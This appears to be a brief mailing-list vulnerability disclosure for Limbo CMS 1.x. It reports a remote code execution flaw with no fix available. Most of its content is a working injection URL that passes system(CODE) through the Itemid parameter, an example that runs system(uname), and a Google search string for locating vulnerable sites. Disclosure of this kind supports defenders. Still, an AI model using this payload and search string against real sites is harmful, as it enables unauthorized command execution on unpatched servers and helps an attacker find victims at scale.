Limbo CMS code execution

[Alexander Hristov]

Official page : http://www.limbo-cms.com/

Vulnerable : Limbo 1.*

Fix : No

Bug : http://somehost/path-to-limbo/index.php?option=3Dfrontpage&Itemid=3Ds=
ystem(CODE)

example : index.php?option=3Dfrontpage&Itemid=3Dsystem(uname)

Google search string : inurl:"option=3Dfrontpage"

--
Best Regards,
Aleksander Hristov < root at securitydot.net > < http://securitydot.net >